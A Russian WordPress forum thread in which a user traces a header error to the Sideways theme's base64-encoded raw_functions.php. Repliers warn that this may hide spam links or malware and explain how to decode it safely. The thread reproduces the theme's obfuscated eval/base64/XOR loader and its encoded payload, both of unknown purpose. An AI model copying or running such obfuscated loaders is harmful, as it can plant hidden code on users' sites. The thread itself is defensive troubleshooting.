Cannot modify header information — кодировку менял
-
Поставил вордпресс 3.2.1, сверху поставил шаблон Sideways. В итоге на редиректах (например после отправки коментария) появляется ошибка:
Warning: Cannot modify header information - headers already sent by (output started at /home/morlan/7rulnik.ru/docs/wp-content/themes/sideways/raw_framework/raw_functions.php(2) : eval()'d code(1) : eval()'d code:1) in /home/morlan/7rulnik.ru/docs/wp-includes/pluggable.php on line 934
Следовательно надо проверять в raw_functions.php вторую строку, но там все в base64 => абсолютно ничего не понятно.Вопрос: если я меня кодировку, проверял файл на BOM, но ошибка до сих пор появляется значит ошибка где-то в коде? И как в таком случае быть, ведь все зашифровано.
-
И как в таком случае быть, ведь все зашифровано.
Обязательно расшифровать и посмотреть, что там спрятано, если не хотите потом разбираться, откуда взялись левые ссылки и почему поисковики забанили сайт как распространяющий заразу.
$lll=0;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));$ll=0;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$lllllllllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));$lllll=0;eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));eval($lllllllll);
эээ… вот что мне выдало.
И еще вопрос$o="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";
— это тоже является base64?Base64 + возможно ещё немного манипуляций на PHP. Перекодирование.
Общ. методика. Создать 404.php. И туда, полагаясь на свою логику попихивать через print/echo содержимое eval и прочих бяк. А чтобы было веселей, используем сервисы автоформатирования кода.
- Тема «Cannot modify header information — кодировку менял» закрыта для новых ответов.